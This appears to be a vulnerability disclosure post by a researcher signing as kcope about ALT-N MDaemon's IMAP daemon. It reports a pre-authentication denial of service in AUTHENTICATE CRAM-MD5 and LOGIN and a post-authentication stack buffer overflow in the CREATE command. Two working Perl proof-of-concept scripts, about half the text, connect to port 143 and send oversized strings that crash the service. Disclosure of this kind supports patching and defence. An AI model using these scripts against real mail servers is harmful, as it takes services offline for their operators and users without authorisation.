Multiple remote vulnerabilities exist in ALT-N MDaemon's imapd that include two denial of service vulnerabilities and a buffer overflow in the CREATE statement.
2ab754d52ce2719be3de3e1a1ea227ee2399148de5e69ca93af234025bb0b40f
Hello this is kcope,
there are two remote vulnerabilities in the latest ALT-N MDaemon imapd
product
i don't know if any of them is exploitable .. the stack based buffer
overflow
seems promising, but it's not preauth so i didn't investigate it further.
1.) Remote denial of service in AUTHENTICATE LOGIN and AUTHENTICATE CRAM-MD5
2.) Remote stack based buffer overflow after authentication in the imap
CREATE statement
---snip---
###
### MDAEMON remote DoS exploit by kcope
### looks like there´s a fault in the base64 decoder
### works also for AUTHENTICATE LOGIN
###
use IO::Socket::INET;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '143',
Proto => 'tcp');
$a = "q" x 1000;
print $sock "a001 AUTHENTICATE CRAM-MD5\r\n";
print $sock $a,"\r\n";
print $sock $a,"\r\n";
while (<$sock>) {
print $_;
}
---snip---
---snip---
### MDAEMON stack based buffer overflow
### Remote DoS exploit by kcope
use IO::Socket::INET;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '143',
Proto => 'tcp');
$a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\" x 10;
print $sock "a001 LOGIN username password\r\n";
print $sock "a001 CREATE $a\r\n";
while (<$sock>) {
print $_;
}
---snip---
-kcope